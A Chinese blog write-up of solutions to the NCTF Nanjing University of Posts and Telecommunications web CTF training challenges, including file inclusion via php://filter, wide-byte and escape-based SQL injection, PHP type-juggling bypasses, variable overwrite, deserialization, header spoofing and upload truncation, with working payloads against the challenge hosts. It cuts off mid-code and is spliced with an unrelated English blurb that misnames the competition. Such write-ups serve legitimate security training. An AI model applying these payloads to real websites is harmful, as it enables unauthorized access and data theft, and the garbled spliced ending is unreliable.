NCTF 南京邮电大学网络攻防训练平台 WriteUp

这篇博客是关于NCTF南京邮电大学网络攻防训练平台的WriteUp,详细介绍了各个Web挑战的解决过程,包括签到题、文件包含、SQL注入、隐写术等,涉及到Burpsuite、源码分析、编码解码等技巧,适合网络安全爱好者学习。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

WEB

签到题1

打开页面
这里写图片描述
直接看源码得到flag

md5 collision

<?php$md51 = md5('QNKCDZO');
$a = @$_GET['a']; 
$md52 = @md5($a);if(isset($a)){ 
if ($a != 'QNKCDZO' && $md51 == $md52) { 
            echo "nctf{*****************}"; 
} else { 
       echo "false!!!"; 
}} 
else{
      echo "please input a";
} 
?> 

看完后,是php的弱类型比较,还涉及md5值,所以构造一串字符串使得比较相同,度娘
这里写图片描述

这里总结了大部分MD5(http://www.219.me/posts/2884.html)

签到题2

打开发现
这里写图片描述
尝试按所说的来,发现最后一位不能输入。
果断用burpsuite进行修改
这里写图片描述

flag得到

这题不是WEB

打开网页,发现一个动图
这里写图片描述
下载下来,扔进UE分析,在最下面发现flag
这里写图片描述

层层递进

脑洞题
查看下发现
这里写图片描述
直接找到flag
这里写图片描述

AAencode

一看明显就是一种编码
这里写图片描述
解码就得flag

单身二十年

打开网页,点击链接,发现跳转
这里写图片描述
联想到他说的手速,直接burpsuite拦截,扔进***Reperter***分析
这里写图片描述

你从哪里来

打开一看,什么也没有,源码也没有啥东西
这里写图片描述
分析看来他需要伪造来访问,利用火狐插件
这里写图片描述
直接构造一个Referer,访问就得flag

php decode

打开一看是一段代码,执行后发现出错,似乎是eval用错,替换成echo直接输出,得到flag

<?php

function CLsI($ZzvSWE)
{

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) 
    {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}

echo (CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));

?>

文件包含

php://filter是一种元封装器, 设计用于数据流打开时的筛选过滤应用。

  • include “test.php” php文件包含,在执行流中插入写在其他文件中的有用的代码。读取的时候也是数据流形式,因此可以使用php://filter进行过滤,返回值为0,1。

  • readfile(“test.php”)是将文件以数据流的形式读取过来,并不会执行,但会在前台浏览器上进行解析。返回值是字节数多少。

  • file_get_contents(“test.php”)返回值为文本内容

此题运用的就是关于数据流过滤的文件包含,我们一般在进行文件包含的时候都这么写include “test.php”获得的就是test.php直接解析出来。但如果运用readfile(“test.php”)就不进行解析,导致无法在浏览器前台进行显示。

通过提示可知道这是一道典型的文件包含漏洞,遇见这种使filter的方式读取php的源代码

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

爆出来一连串字符串,是base64加密

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

解密可得:

<html>
    <title>asdf</title>
    
<?php
    error_reporting(0);
    if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

即得flag

单身一百年也没有用

打开一个链接,直接用burpsuite拦截,点击链接点击key***,用Repeater分析即得flag*
这里写图片描述

Download~!

利用burpsuite抓包看看,点击两个下载比对一下,发现它的url是可变的,而且是base64编码
这里写图片描述
这里写图片描述

这样的话构造一下download.php的base64编码,放置url运行,得到源码

<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="download.php"){
    $file_size = filesize($url);
    header ( "Pragma: public" );
    header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
    header ( "Cache-Control: private", false );
    header ( "Content-Transfer-Encoding: binary" );
    header ( "Content-Type:audio/mpeg MP3");
    header ( "Content-Length: " . $file_size);
    header ( "Content-Disposition: attachment; filename=".$url);
    echo(file_get_contents($url));
    exit;
}
else {
    echo "Access Forbidden!";
}
?>

分析源码可知有一个hereiskey.php,构造url提交可得flag

COOKIE

打开网页,显示需要登录,利用burpsuite抓包发现返回的Login=0,结合提示,需要构造Login=1,直接利用火狐插件Live HTTP headers***
这里写图片描述
重新提交即得
flag
*

MYSQL

<pre>别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息

TIP:sql.php

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?></pre>

根据提示打开robots.txt,发现一堆代码,因为**intval函数是转化整形(http://www.php.net/manual/zh/function.intval.php)构造sql.php?id=1024.1即得flag

sql injection 3

打开就看见

执行的sql语句:SELECT id,title FROM news WHERE id=‘1’

尝试闭合'构造语句,发现无论怎么构造都会出现\

http://115.28.150.176/sqli/index.php?id=1’ select * from news

看来需要干掉/。尝试id ,发现id=2时出现提示

id: 2 title: gbk_sql_injection

看来是宽字节注入,查阅相关的资料
可知当存在%df时就会吃掉\
多次尝试,最终构造

http://115.28.150.176/sqli/index.php?id=�’ union select *,1 from flag%23

出现flag

/x00

view-source:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

明显就是字符串截断,构造:

http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%23biubiubiu

得到flag

如:nctf[]=1.#biubiubiu
参考(http://www.2cto.com/article/201502/377462.html)

bypass again

if (isset($_GET['a']) and isset($_GET['b'])) {
 if ($_GET['a'] != $_GET['b'])
 if (md5($_GET['a']) === md5($_GET['b']))
 die('Flag: '.$flag);
 else
 print 'Wrong.';
 }

一开始以为是md5的弱类型比较,结果发现是恒等于的强类型比较,这时就考虑md5函数的用法,构造?a[]=1&b[]=2这样md5函数无法处理数组返回false完成匹配得到flag

变量覆盖

查看源码,发现一个source.php
打开发现解题关键代码

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>

发现有一个extract,查阅一下相关资料,发现有漏洞
http://www.w3school.com.cn/php/func_array_extract.asp
这样不用管之前的值,直接覆盖就行
这里写图片描述
得到flagnctf{bian_liang_fu_gai!}

PHP是世界上最好的语言

<?php
if(eregi("hackerDJ",$_GET[id])) {
 echo("<p>not allowed!</p>");
 exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
 echo "<p>Access granted!</p>";
 echo "<p>flag: *****************} </p>";
}
?>

这道题目的问题在于urldecode(),传递过来的$_GET[id]已经进行url编码。那么这道题目只需要将id=hackerDJ进行两次url编码即可。
最终的payload为:

http://way.nuptzj.cn/php/index.php?id=hackerD%4a

伪装者

提示说必须在本地登陆,好说,直接利用Modify Headers增加X-Forwarder-For:127.0.0.1
刷新即得flag

Header

根据提示头,查看即得flag

上传绕过

既然是上传绕过,尝试修改后缀,发现不成功
猜测利用截断,分别构造xi.php .jpg然后空格Hex修改为00绕过上传,发现无法绕过
发现有一个/uploads,发送的网络请求对于参数dir存在一个uploads的值,那么构造/uploads/xi.php[空格],修改Hex
下方的文件名依旧是filename="xi.php.jpg

可以参考链接

SQL注入1

源码

<pre><?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?></pre>

简单的注入,构造
user=admin '#
发现报错,仔细阅读源码,发现有一个(,需要闭合
user=admin ')#
得到flag:nctf{ni_ye_hui_sql?}

pass chack

核心源码

<?php
    $pass=@$_POST['pass'];
    $pass1=*;//被隐藏起来的密码
    if(isset($pass))    {
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    } else {
        echo "the pass is wrong!";
    }
    } else {
        echo "please input pass!";
    }
?>

提示一看简单明了
构造
这里写图片描述

起名字很难

<?php
 function noother_says_correct($number)
{
        $one = ord('1');
        $nine = ord('9');
        for ($i = 0; $i < strlen($number); $i++)
        {   
                $digit = ord($number{$i});
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }
           return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else 
    echo 'access denied';
?>

一看就是需要赋值key且不能再1-9之间的数字,但是最后需要使key54975581388相等,这样的话尝试十六进制,正好54975581388的十六进制是0xccccccccc全部不在1-9之间

http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

得到flag

密码重置

莫名其妙这道题,直接抓包,修改user1=YWRtaW4=user=admin即得flag

php 反序列化

这道题学习到很多

<?php
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else 
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>

由于

get_magic_quotes_gpc()— 获取当前 magic_quotes_gpc 的配置选项设置

但始终返回 FALSE,因为这个魔术引号功能已经从 PHP 中移除了
那么这道题主要考察的就是序列化反序列化

可以看一下这个链接:

http://www.cnblogs.com/A-Song/archive/2011/12/13/2285619.html

简单来说:
  • serialize() 把某种含有结构的数据进行转换,其结果为某种规定格式的字符串。

  • unserialize() 将已序列化的字符串恢复为原来的格式或结构

    首先把传入的 p a s s 参 数 反 序 列 化 , 并 传 参 给 pass参数反序列化,并传参给 passo。
    o 被 传 参 成 功 , 则 o被传参成功,则 oo->secret被赋值为一个"*"
    如果$o->secret === $o->enter,那么就输出o->secret

由于很难构造相等,那么查看资料知:

在** PHP **中普通的传值赋值行为有个例外就是碰到对象 object 时,在 PHP 5 中是以引用赋值的,除非明确使用了 **clone **关键字来拷贝,**PHP **支持引用赋值,使用

$var = &$othervar;

引用赋值意味着两个变量指向了同一个数据,没有拷贝任何东西。

我们构造:
<?php
class just4fun {
var $enter;
var $secret;
}

$o = new just4fun();
$o->enter = &$o->secret; //这里是重点。我们使用引用传参的特点,让$o->secret的值和$o->enter的值,这样两个变量就永远相等了
echo serialize($o);
?>

序列化字符串为:

 O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

提交后得到flag

sql injection 4

有提示:

TIP:反斜杠可以用来转义
仔细查看相关函数的用法

查看源码:

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
   
   
    if(get_magic_quotes_gpc()){
   
   
        $str=stripslashes($str);
    }
    return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
   
   
    die('Invalid password!');
}

echo $flag;
-->

这就可以看出get_magic_quotes_gpc()这个是查看魔法引号,高版本的php已经移除这个功能,在这里并不耽误,
意义:

当 magic_quotes_gpc 打开时,所有的 ’ (单引号), " (双引号), \ (反斜线) and 空字符会自动转为含有反斜线的转义字符。
链接

stripslashes()搭配使用,此函数是删除所有的\
链接

htmlentities($str, ENT_QUOTES)是指编码所有的双引号和单引号
链接

而通过阅读这个sql查询代码,可以知道,要想避开查询,就必须构造一个全真代码,加一个or 1但之前就多了一个引号
注释引号的方法有两种

  1. '闭合
  1. \ 转移

这题直接本地搭个环境
在这里由于'被转移,所以可以使用\注释
所以payload:
http://chinalover.sinaapp.com/web15/index.php?username= \&password= or 1%23
大致插入进去的查询语句是

SELECT * FROM users WHERE name=’ ’ AND pass=’ or 1#’;

这里写图片描述

得到flag:nctf{sql_injection_is_interesting}

综合题

打开后一看是jother直接利用火狐的命令行输出得到解码后的结果
1bc29b36f623ba82aaf6724fd3b16718.php
结果打开后发现不对,还被嘲讽了一番
这时候看看tip:bash
百度了一下相关,最终查出/.bash_history这个是用来存放历史记录的,这时候尝试访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
得到
zip -r flagbak.zip ./*
直接访问flagbak.zip
会得到一个下载压缩包,下载即得flag

SQL注入2

查看源代码

<?php
if($_POST[user] && $_POST[pass]) {
   
   
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query
### NCTF Web Challenges and Resources NCTF (National Cybersecurity Talent Competition) is a well-known competition that focuses on cybersecurity skills, including web security challenges. These challenges are designed to test participants' abilities in identifying vulnerabilities within web applications and exploiting them ethically. The website mentioned in the reference provides access to various Capture The Flag (CTF) competitions where contestants can engage with different types of challenges, such as web-based ones[^1]. Participants often encounter tasks involving SQL injection, cross-site scripting (XSS), command injection, insecure deserialization, and more advanced techniques like bypassing authentication mechanisms or exploiting server-side request forgery (SSRF). For those interested specifically in NCTF's web-related content, it’s recommended to explore past challenge archives from official sources when available. Additionally, there exist several platforms hosting similar CTF-style exercises which could serve as supplementary material: #### Example Code for Testing XSS Vulnerability Below demonstrates how one might check whether an input field allows reflected Cross-Site Scripting attacks. ```javascript // Simple payload used during testing phase alert('This shows potential vulnerability'); ``` Such scripts should only execute under conditions indicating improper sanitization processes at play—highlighting areas needing remediation efforts before deployment into production environments.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值